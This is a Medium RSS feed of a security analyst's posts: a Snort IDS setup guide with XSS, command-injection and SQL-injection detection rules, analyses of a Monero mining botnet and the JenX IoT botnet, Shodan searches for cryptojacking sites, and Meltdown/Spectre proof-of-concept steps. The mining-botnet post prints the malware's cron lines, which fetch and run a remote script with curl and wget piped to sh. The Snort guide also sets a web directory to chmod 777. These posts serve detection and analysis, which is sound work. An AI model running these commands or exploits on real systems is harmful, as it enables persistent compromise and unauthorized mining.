<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mondher Smii on Medium]]></title>
        <description><![CDATA[Stories by Mondher Smii on Medium]]></description>
        <link>https://medium.com/@smii.mondher?source=rss-fbe6c9e7d959------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*BmHdMA-lYyvHp_TB.</url>
            <title>Stories by Mondher Smii on Medium</title>
            <link>https://medium.com/@smii.mondher?source=rss-fbe6c9e7d959------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 14:17:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@smii.mondher/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Sensor Install]]></title>
            <link>https://medium.com/@smii.mondher/sensor-install-b5afa19b709c?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/b5afa19b709c</guid>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Thu, 09 Jan 2020 19:39:59 GMT</pubDate>
            <atom:updated>2020-01-09T20:28:38.029Z</atom:updated>
            <content:encoded><![CDATA[<ol><li><strong>Install Snort pre-requisites: Libpcap, Libdnet and DAQ</strong></li></ol><p><strong>Libpcap</strong></p><pre># cd /usr/src<br># tar -zxf libpcap-1.3.0.tar.gz<br># cd libpcap-1.3.0<br># ./configure --prefix=/usr<br><em># make &amp;&amp; make install</em></pre><p><strong>Libdnet</strong></p><pre># cd /usr/src<br># tar -zxf libdnet-1.12.tgz<br># cd libdnet-1.12<br># ./configure --prefix=/usr --enable-shared<br># make &amp;&amp; make install</pre><p><strong>DAQ</strong></p><pre># cd /usr/src<br># tar -zxf daq-2.0.6.tar.gz<br># cd daq-2.0.6<br># ./configure<br># make &amp;&amp; make install</pre><ul><li>Then update the shared library path</li></ul><pre># echo &gt;&gt; /etc/ld.so.conf /usr/lib<br># echo &gt;&gt; /etc/ld.so.conf /usr/local/lib &amp;&amp; ldconfig</pre><p><strong>2. Install Snort &amp; Sort rules</strong></p><pre># mkdir /opt/snort<br># cd /usr/src<br># tar -zxf snort-2.9.9.0.tar.gz &amp;&amp; cd snort-2.9.9.0<br>#  ./configure  --prefix=/opt/snort --enable-sourcefire  --enable-zlib --enable-reload &amp;&amp; make &amp;&amp; make install<br># mkdir -p /opt/snort/etc/snort /opt/snort/etc/snort/rules    /var/log/snort /var/log/barnyard2 /opt/snort/lib/snort_dynamicrules</pre><p>Now, it’s time for configure snort rules</p><pre># cd /opt/snort/etc<br># cp /usr/src/snortrules-snapshot-2983.tar.gz .<br># tar xzvf snortrules-snapshot-2983.tar.gz<br># mv etc/* snort<br># mv rules snort/<br># mv so_rules   snort/<br># mv  preproc_rules   snort/<br># touch /opt/snort/etc/snort/rules/white_list.rules <br># touch /opt/snort/etc/snort/rules/black_list.rules<br># groupadd snort &amp;&amp; useradd -g snort snort<br># chown snort:snort /var/log/snort /var/log/barnyard2<br># cp /usr/src/snort-2.9.9.0/etc/*.conf* /opt/snort/etc/snort<br># cp /usr/src/snort-2.9.9.0/etc/*.map    /opt/snort/etc/snort</pre><ul><li>Edit the configuration file of snort to configure it</li></ul><pre>nano   /opt/snort/etc/snort/snort.conf</pre><ul><li>And change these lines:</li></ul><pre>Line #45 - ipvar HOME_NET any<br>Line #48 - ipvar EXTERNAL_NET any<br>Line #104 - var RULE_PATH /opt/snort/etc/snort/rules<br>Line #105 - var SO_RULE_PATH /opt/snort/etc/snort/so_rules<br>Line #106 - var PREPROC_RULE_PATH /opt/snort/etc/snort/preproc_rules<br>Line #113 – var WHITE_LIST_PATH   /opt/snort/etc/snort/rules<br>Line #114 - var BLACK_LIST_PATH /opt/snort/etc/snort/rules<br>Line #247 - dynamicpreprocessor directory /opt/snort/lib/snort_dynamicpreprocessor/<br>Line #250 –  dynamicengine /opt/snort/lib/snort_dynamicengine/libsf_engine.so<br>Line #253 - dynamicdetection directory /opt/snort/lib/snort_dynamicrules<br>Line #297 - add this to the end after “decompress_depth 65535” max_gzip_mem 104857600<br>Line #521 - add this line output unified2: filename snort.log, limit 128</pre><ul><li>Add a simple rule to sniff any icmp traffic like this for testing, so edit the file <strong><em>“/opt/snort/etc/snort/rules/local.rules” </em></strong>and add this line:</li></ul><pre>alert icmp any any -&gt; $HOME_NET any (msg:&quot;ICMP test&quot;; sid:10000001; rev:1;)</pre><ul><li>Now you can start and test snort</li></ul><pre># /opt/snort/bin/snort -A console -q -u snort -g snort -c /opt/snort/etc/snort/snort.conf  -i eth0  -v</pre><ul><li>Ping the management IP address from another machine, alerts should be printed to the console like this:</li></ul><pre>02/09-11:29:43.450236 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.1 -&gt; 172.26.12.2</pre><pre>02/09-11:29:43.450251 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.2 -&gt; 172.26.12.1</pre><ul><li>If so well you have Snort working… Use Ctrl+c to kill snort.</li></ul><p><strong>3. Setup the MySQL server</strong></p><ul><li>Create the two database snort and snort_archive</li></ul><pre>mysql -u root -p <strong><em># enter the root password you created during installation<br></em></strong>mysql&gt; create database snort;<br>mysql&gt; create database snort_archive;<br>mysql&gt; grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;<br>mysql&gt; grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort_archive.* to snort@localhost;<br>mysql&gt; SET PASSWORD FOR snort@localhost=PASSWORD(&#39;mypassword&#39;); <strong><em># set user password different from “root” password<br></em></strong>mysql&gt; use snort;<br>mysql&gt; source  /usr/src/create_mysql<br>mysql&gt; show tables;    <strong><em># you should see the list of new tables you just imported.<br></em></strong>mysql&gt; use snort_archive;<br>mysql&gt; source  /usr/src/create_mysql<br>mysql&gt; show tables; <strong><em># you should see the list of new tables you just imported.<br></em></strong>mysql&gt; exit</pre><p><strong>4. Install &amp; configure Barnyard2</strong></p><ul><li>Before installing barnyard2, check the path of libmysqlclient (<strong><em>find / -name libmysqlclient*</em></strong>) because it can make an error</li></ul><pre>#cd /usr/src<br>#tar -zxf barnyard2-master.tar.gz  &amp;&amp;  cd barnyard2-master*<br># autoreconf -fvi -I ./m4  &amp;&amp;  ./configure  --prefix=/opt/barnyard2  --with-mysql --with-mysql-libraries=/usr/lib/x86_64-linux-gnu/<br># make  &amp;&amp;  make install<br># mv /usr/src/barnyard2-master/etc/barnyard2.conf    /opt/snort/etc/snort</pre><ul><li>Edit the configuration file of barnyard2 “nano<strong><em> /etc/snort/barnyard2.conf</em></strong>”and change this lines:</li></ul><pre>config reference_file:    /opt/snort/etc/snort/reference.config<br>config classification_file: /opt/snort/etc/snort/classification.config<br>config gen_file: /opt/snort/etc/snort/gen-msg.map<br>config sid_file: /opt/snort/etc/snort/sid-msg.map<br>output alert_fast</pre><p>At the end of the file add this line and of course change the name of your snort database and the password</p><pre>output database:   log, mysql, user=snort    password=&lt;mypassword&gt; dbname=snort host=localhost</pre><ul><li>Now start snort and barnyard with these commands:</li></ul><pre># /opt/snort/bin/snort  -q  -u snort  -g snort  -c  /opt/snort/etc/snort/snort.conf  -i eth0  &amp;</pre><pre># /opt/barnyard2/bin/barnyard2  -c /opt/snort/etc/snort/barnyard2.conf  -d  /var/log/snort  -f  snort.log  -w  /opt/snort/etc/snort/bylog.waldo  &amp;</pre><ul><li>Then ping again the management IP address from another machine. And with this command you can show that barnyard is correctly inserting events into the database:</li></ul><pre># mysql   -uroot  -p  -D snort    -e &quot;select count(*) from event&quot;      <strong><em># enter mysql password again</em></strong></pre><p><strong>5. Install and configure BASE</strong></p><pre># cd /usr/src<br># tar -zxf base-1.4.5.tar.gz  &amp;&amp;  cp  -r  base-1.4.5  /var/www/html/base<br># chmod  777   /var/www/base             <strong><em># (just for now)</em></strong></pre><p><strong>6. Attack detection</strong></p><p><strong><em>XSS Detection</em></strong></p><pre>alert tcp any any -&gt; any 80 (msg:&quot;[XSS Attack--3]&quot;; flow:to_server,established; pcre:&quot;/(((\%3e\%3c)|(\%3c))((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+)(%3e))/ix&quot;; classtype:web-application-attack; sid:10000100; rev:1;)</pre><pre>alert tcp  any any -&gt; any 80 (msg:&quot;[XSS Attack]&quot;; flow:to_server,established; pcre:&quot;/(((\%3e)+|(\%3e\%3c)+|(\%3c)+))(((\w*)([.]*|([\n]*.[\n]*)|[\r]*.[\r]*)(\w*))|((\%[0-9a-f]+)+))(%3e))/ix&quot;; classtype:web-application-attack; sid:10000101; rev:1;)</pre><p><strong><em>Command Execution Detection</em></strong></p><pre>alert tcp any any -&gt; any 80 (msg:&quot;Web-Attack [Command execution attempt-2]&quot;; flow:to_server,established; uricontent:&quot;/exec/&quot;; nocase; pcre:&quot;/((((\w*)|(\d*)|(\D*)|(.*))((\%3b)|(\;)((\w*)|(\d*)|(\D*)|(.))[^&amp;submit])|((\%7C)|(\|)[^&amp;submit])|((\%26)|(&amp;)[^submit])(\w+)[&amp;submit]))/ix&quot;; classtype:web-application-attack; sid:10000098;rev:1;)</pre><p><strong><em>SQL Injection Detection</em></strong></p><pre>alert tcp $EXTERNAL_NET any -&gt; $HOME_NET $HTTP_PORTS (msg:”INDICATOR-SCAN sqlmap SQL injection scan attempt”; flow:to_server,established; content:”User-Agent|3A| sqlmap”; fast_pattern:only; http_header; metadata:service http; reference:url,sqlmap.sourceforge.net; classtype:web-application-activity; sid:19779; rev:6;)</pre><pre>alert tcp any any -&gt; any 80 (msg:”[The system detected Sql Injection Attack-1]”; flow:to_server,established; uricontent:”/?id”;nocase;pcre:”/(((\?id=)|(\?id%3D))(\w*)(((\’)|(\%27))((\w+)|(\W+)|(\D+)|(\d+))))/ix”; classtype:web-application-attack; sid:10000200; rev:1;)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b5afa19b709c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mining Botnet Is Now Spreading]]></title>
            <link>https://medium.datadriveninvestor.com/mining-botnet-is-now-spreading-93be98b4f83e?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/93be98b4f83e</guid>
            <category><![CDATA[botnet]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Tue, 13 Nov 2018 08:08:28 GMT</pubDate>
            <atom:updated>2018-11-14T11:06:08.876Z</atom:updated>
            <content:encoded><![CDATA[<figure><a href="http://www.track.datadriveninvestor.com/BecomeDDItealI1"><img alt="" src="https://cdn-images-1.medium.com/max/700/1*FZWNpyetgB67BU_XL_qtgA.gif" /></a></figure><p>[AUTHOR] SMII Mondher | Cyber Security Analyst |</p><p>After my article about <strong>Cryptojacking</strong>, I put at your disposal a second article about the detection of a mining botnet.</p><p><a href="https://medium.com/@smii.mondher/how-to-find-cryptojacking-malware-a905ac458329">How to find cryptojacking malware …</a></p><p>A Mining Botnet popped up in m<strong>y tunPOT Radar</strong> which really caught my attention. This botnet try to infect a variety of equipment for Mining.</p><h3><strong>Analysis</strong></h3><p>The implant payload downloads and executes the following script :</p><ul><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/lmao</a>.sh</li></ul><p>This script tries to create a user <strong>dec9</strong> with a password <strong>$1$mNYL6iYz$kcI7CwB/u5lzaZ3DyN4av/</strong> and to download a file <strong>2001</strong> with wget or curl Command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eFjAaJXiVgeJH_1ig31gKw.png" /></figure><p>The hidden script is called 2001, it has the role of setting up a Cron Job</p><blockquote>echo “*/5 * * * * curl -fsSL <a href="http://dec9.000webhostapp.com/0x22/0xx444/ixt.sh">http://dec9.000webhostapp.com/0x22/0xx444/ixt.sh</a> | sh” &gt; /var/spool/cron/root<br>echo “*/5 * * * * wget -q -O- <a href="http://dec9.000webhostapp.com/0x22/0xx444/ixt.sh">http://dec9.000webhostapp.com/0x22/0xx444/ixt.sh</a> | sh” &gt;&gt; /var/spool/cron/root</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mb0LzJl6nxGxEn5WtSFImA.png" /></figure><p>The third script is called ixt.sh, he is dedicated for XMR Mining.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Io698VIiqRoNV7tkx-wOtg.png" /></figure><p>The mining pool are :</p><ul><li><strong>Algorithme</strong> : Cryptonight — Proof of Work</li><li><strong>Mining pool</strong> : pool.supportxmr.com:3333</li><li><strong>Wallet Address</strong> : 427uNVgfFsB7w412C4emiNGWWNuRvpoHYchV48XzfgAMUUYYiQQFfnjWEUAoDqiBSg62mrEDpRcKBHDoX9wd1L3o1JbrAQR</li><li><strong>Pool Pass</strong> : x</li></ul><p>Till now, zero coins have been paid, as can be seen in below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nUmhEITs-i6YKObyiGFyNw.png" /></figure><h3>TunPOT Threat Viewer</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoxkdWVY_sPQHEDqXall6Q.png" /></figure><p>Detection :</p><p>YARA RULES</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*R7Ii4dHaPct6V6Nk2Vfqag.png" /></figure><p><strong>IOC</strong></p><ul><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/lmao</a>.sh</li><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/</a>.2001</li><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/ixt</a>.sh</li><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/Prussa</a></li><li><a href="http://dec9.000webhostapp.com/0x22/0xx444/assets/">hxxp://dec9.000webhostapp.com/0x22/0xx444/</a>12</li></ul><p>Contact me :</p><p>smii.mondher@gmail.com</p><figure><a href="http://www.track.datadriveninvestor.com/BecomeDDI1B"><img alt="" src="https://cdn-images-1.medium.com/max/700/1*FZWNpyetgB67BU_XL_qtgA.gif" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93be98b4f83e" width="1" height="1" alt=""><hr><p><a href="https://medium.datadriveninvestor.com/mining-botnet-is-now-spreading-93be98b4f83e">Mining Botnet Is Now Spreading</a> was originally published in <a href="https://medium.datadriveninvestor.com/">DataDrivenInvestor</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to find cryptojacking malware …]]></title>
            <link>https://medium.com/@smii.mondher/how-to-find-cryptojacking-malware-a905ac458329?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/a905ac458329</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[shodan]]></category>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Sun, 05 Aug 2018 16:06:37 GMT</pubDate>
            <atom:updated>2018-08-06T12:28:37.811Z</atom:updated>
            <content:encoded><![CDATA[<p>Cryptojacking is the unauthorized use of someone else’s computer to mine cryptocurrency.</p><p>In this article I will show you how to find sites using mining scripts. the tool i’m going to use is shodan <a href="https://www.shodan.io/">https://www.shodan.io</a> .</p><h3>Coinhive</h3><p><em>Coinhive</em> offers a JavaScript miner for the Monero Blockchain that you can embed in your website. The original Coinhive JavaScript library used in cryptojacking is <a href="https://publicwww.com/websites/%22coinhive.min.js%22/">“coinhive.min.js”</a> and we can start by simply searching for that.</p><p><strong>search term :</strong></p><ul><li><strong>http.component:”coinhive”</strong></li><li><strong>html:coinhive.min.js</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*iRim1eg-6V20hC4WScnCsA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*n5nq6WJgvbw3xTct-4g0qA.png" /></figure><h3>Crypto-Loot</h3><p><em>CryptoLoot</em> is a Javascript web miner for Monero, a great coinhive alternative with cheap fees and excitingly faster hashrates.</p><p>search term :</p><ul><li><strong>html:”CryptoLoot.Anonymous”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*qILSotrnVux9XhMdFm-plw.png" /></figure><h3>CoinImp</h3><p><em>CoinIMP</em> is the new effective free JavaScript miner that you can embed in your website.</p><p>search term :</p><ul><li><strong>http.component:”coinimp”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*2tYVFhGXT1I28_nS_XSSTg.png" /></figure><h3>DeepMiner</h3><p>Unlike the other cryptojacking providers, deepMiner is self-hosted JavaScript. This means the code used to mine cryptocurrency is not hosted by a third-party service provider and instead placed directly on the website or domain controlled by the cryptojacking campaign operator</p><p>search term :</p><ul><li><strong>http.component:”deepminer”</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*Efsrterzk1Ybdy9fsXDf9w.png" /></figure><h3>Contact :</h3><ul><li><a href="https://twitter.com/smii_mondher">SMII Mondher (@smii_mondher) | Twitter</a></li><li><a href="https://www.linkedin.com/in/mondher-smii/">Mondher Smii - Cyber Security Analyst - ANSI - tunCERT | LinkedIn</a></li></ul><p>email : smii.mondher@gmail.com</p><p>Inspired :</p><ul><li><a href="https://badpackets.net/how-to-find-cryptojacking-malware/">https://badpackets.net/how-to-find-cryptojacking-malware/</a> (PublicWWW)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a905ac458329" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JenX , New IoT Botnet]]></title>
            <link>https://medium.com/@smii.mondher/jenx-new-iot-botnet-c412d5a446ee?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/c412d5a446ee</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Sat, 03 Feb 2018 18:47:44 GMT</pubDate>
            <atom:updated>2018-03-20T13:48:14.376Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*hcT_DNqi4cdYzieGqhl66A.png" /><figcaption>Botnet by <a href="https://dribbble.com/borisris">Borisris</a></figcaption></figure><p>A new botnet recently started recruiting IoT devices. The botnet uses hosted servers to find and infect new victims leveraging one of three known vulnerabilities that have become popular in IoT botnets recently:</p><ul><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215"><em>CVE-2017–17215</em></a><em> “Huawei Router HG532 — Arbitrary Command Execution”</em></li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2051">CVE-2015–2051</a> : D-Link Devices — HNAP SOAPAction-Header Command Execution</li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8361"><em>CVE-2014–8361</em></a><em> “Realtek SDK Miniigd UPnP SOAP Command Execution”</em></li></ul><p>Since January 30, the malware has begun to spread. <a href="https://www.radware.com/">Radware</a> honeynets have detected several attempts to operate from multiple servers …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*RWc7aGlOaDk8ci1Wz7_Yaw.png" /></figure><p>I posted a tweet about this event</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*jowP5p8D2VYxrxZxLhn7PQ.png" /></figure><p>JenX is a DDoS botnet, the DDoS option offered by San Calvicie is called “Corriente Divina.”</p><h3>Analysis</h3><p>The malware binary is called ‘jennifer’ and was in all occurrences downloaded from the same server <strong>5.39.22.8 </strong>which is hosted at a different provider compared to the provider of the exploit servers.</p><p>The download server hosts samples for MIPS, ARM, ARM7 and x86, all very recently uploaded:</p><p>IOCs for the samples at time of analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*Cxc_zCQVVHMrxbvxYcE_SA.png" /></figure><p>Strings in the binary have been obfuscated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*PUoHVGtnHq6IbdrwLk2XOA.png" /></figure><p>Some very basic cryptanalysis with Python soon revealed the obfuscation algorithm to be a simple XOR with a fixed key 0x45:</p><p><strong>After decryption :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*XPeI_0EJM7WjTTMJNuyLMA.png" /></figure><p>I used the script below to decrypt the string :</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/eea273bc1dfeaf18c9b0c0d2ef956993/href">https://medium.com/media/eea273bc1dfeaf18c9b0c0d2ef956993/href</a></iframe><p><strong>C&amp;C :</strong></p><p>There is still the question on how to get the string that contains the hostname of the C2 server behind IP <strong>80.82.70.202</strong> which we witnessed earlier.</p><p>Ultimately, we found by XORing with 0x22 the hostname of the C2 server to be ‘skids.sancalvicie.com’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*SC84tWhYWU7Sd6KuUBVFEQ.png" /></figure><p>After decryption : <strong>skids.sancalvicie.com</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ffcb06500e4755e537b13625e1326ae1/href">https://medium.com/media/ffcb06500e4755e537b13625e1326ae1/href</a></iframe><h3>Should you be concerned?</h3><p>Unless you frequently play GTA San Andreas, you will probably not be directly impacted.</p><p><strong><em>External Analysis</em></strong></p><p><a href="https://www.virustotal.com/#/file/04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc/detection">VirusTotal</a></p><p>This analysis is done based on the following link</p><ul><li><a href="https://blog.radware.com/security/2018/02/jenx-los-calvos-de-san-calvicie/">JenX - Los Calvos de San Calvicie | Radware Blog</a></li><li><a href="http://securityaffairs.co/wordpress/68610/malware/jenx-botnet.html">JenX botnet leverages Grand Theft Auto videogame community to infect devices</a></li></ul><p><strong>Contact :</strong></p><p>[+] Email : smii.mondher@gmail.com</p><p>[+] LinkedIn : <a href="https://www.linkedin.com/in/mondher-smii/">https://www.linkedin.com/in/mondher-smii/</a></p><p>[+] Tweeter : <a href="https://twitter.com/smii_mondher">https://twitter.com/smii_mondher</a></p><p>#mirai #satori #masuta #cybersecurity #malware #JenX #radware</p><blockquote>To be continued, Good reading …</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c412d5a446ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Meltdown and Spectre : CPU vulnerabilities — Explained and Exploited]]></title>
            <link>https://medium.com/@smii.mondher/meltdown-and-spectre-cpu-vulnerabilities-explained-and-exploited-ed22cae6aeb0?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed22cae6aeb0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[respect]]></category>
            <category><![CDATA[processors]]></category>
            <category><![CDATA[intel]]></category>
            <category><![CDATA[meltdown]]></category>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Fri, 05 Jan 2018 11:01:40 GMT</pubDate>
            <atom:updated>2018-03-08T17:52:12.640Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*fAi-25rxcWl-mGauEdz2-w.jpeg" /></figure><ul><li><strong>Systems Affected :</strong></li></ul><p>CPU hardware implementations</p><ul><li><strong>Description :</strong></li></ul><p>Meltdown and Spectre are the names of two serious security flaws that have been found within computer processors. They could allow hackers to steal sensitive data without users knowing, one of them affecting chips made as far back as 1995.</p><ul><li><strong>What are Meltdown and Spectre ?</strong></li></ul><p>Meltdown is a security flaw that could allow hackers to bypass the hardware barrier between applications run by users and the computer’s core memory, which is normally highly protected.</p><p>Spectre is slightly different. It potentially allows hackers to trick otherwise error-free applications into giving up secret information.</p><ul><li><em>Meltdown Attack paper </em>: <a href="https://meltdownattack.com/meltdown.pdf">https://meltdownattack.com/meltdown.pdf</a></li><li><em>Spectre Attack paper </em>: <a href="https://spectreattack.com/spectre.pdf">https://spectreattack.com/spectre.pdf</a></li></ul><h3><strong>Exploitation : [for test purposes only]</strong></h3><p>This test is conducted on a machine with the following CPU architecture :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*WR14gI2FY7pkr54D6WJuxg.png" /><figcaption>CPU ARCHITECTURE</figcaption></figure><ul><li><strong>Spectre CVE-2017–5753 and CVE-2017–5715 :</strong></li></ul><p>PoC from Spectre Attacks: Exploiting Speculative Execution (<a href="https://spectreattack.com/spectre.pdf">https://spectreattack.com/spectre.pdf</a>) :</p><p>1- Download Spectre code from github</p><p>2- Compile the C program with : <strong>gcc -std=c99 spectre.c</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*xqSdSm02cmiJkTN0MDzFgw.png" /><figcaption>Program Compilcation</figcaption></figure><p>3- Execute a.out with : <strong>./a.out</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*l3NyLSowsgCx0eUOvg-r_A.png" /><figcaption>Program Execution</figcaption></figure><p>Github Program :</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e47aa4b23863769dcf7c62cd81fdf467/href">https://medium.com/media/e47aa4b23863769dcf7c62cd81fdf467/href</a></iframe><ul><li><strong>Meltdown CVE 2017–5754 :</strong></li></ul><p>1- Download the Exploit from github : <a href="https://github.com/paboldin/meltdown-exploit">https://github.com/paboldin/meltdown-exploit</a></p><p>git clone <a href="https://github.com/paboldin/meltdown-exploit.git">https://github.com/paboldin/meltdown-exploit.git</a></p><p>2- Compile the exploit with <strong>make </strong>command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*n9fbQaMBqz3pbFZURx6vAQ.png" /><figcaption>Compile Exploit</figcaption></figure><p>3- Execute run.sh :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*O_xDaDoSr_KS9sD01hSCzA.png" /><figcaption>Meltdown Exec</figcaption></figure><p><strong>I am affected ?</strong></p><p>A big thanks for @speed47</p><p><a href="https://github.com/speed47/spectre-meltdown-checker">speed47/spectre-meltdown-checker</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qB42Brw-B8O_fVi6KLBC4w.png" /></figure><p>References :</p><ul><li>CVE-2017–5753, CVE-2017–5715, and CVE-2017–5754 (Meltdown and Spectre) Windows antivirus patch compatibility : <a href="https://docs.google.com/spreadsheets/d/184wcDt9I9TUNFFbsAVLpzAtckQxYiuirADzf3cL42FQ/htmlview?usp=sharing&amp;sle=true">https://docs.google.com/spreadsheets/d/184wcDt9I9TUNFFbsAVLpzAtckQxYiuirADzf3cL42FQ/htmlview?usp=sharing&amp;sle=true</a></li><li><a href="https://www.theguardian.com/technology/2018/jan/04/meltdown-spectre-computer-processor-intel-security-flaws-explainer">https://www.theguardian.com/technology/2018/jan/04/meltdown-spectre-computer-processor-intel-security-flaws-explainer</a></li><li><a href="https://meltdownattack.com/">https://meltdownattack.com/</a></li><li><a href="https://github.com/hannob/meltdownspectre-patches">https://github.com/hannob/meltdownspectre-patches</a></li></ul><blockquote>To be continued, Good reading …</blockquote><p>Contact : smii.mondher@gmail.com</p><p><em>Editors Note: Put a </em><a href="https://webgap.io/"><em>WEBGAP</em></a><em> between you and the malware with a </em><a href="https://webgap.io/remote-browser-isolation-technology.html"><em>browser isolation technology</em></a><em> or by leveraging a </em><a href="https://webgap.io/remote-browser-service.html"><em>remote browser service</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed22cae6aeb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open Elastic node on Shodan]]></title>
            <link>https://medium.com/@smii.mondher/open-elastic-node-on-shodan-11a0be75ec06?source=rss-fbe6c9e7d959------2</link>
            <guid isPermaLink="false">https://medium.com/p/11a0be75ec06</guid>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[shodan]]></category>
            <dc:creator><![CDATA[Mondher Smii]]></dc:creator>
            <pubDate>Mon, 16 Oct 2017 15:38:51 GMT</pubDate>
            <atom:updated>2017-10-16T15:43:40.129Z</atom:updated>
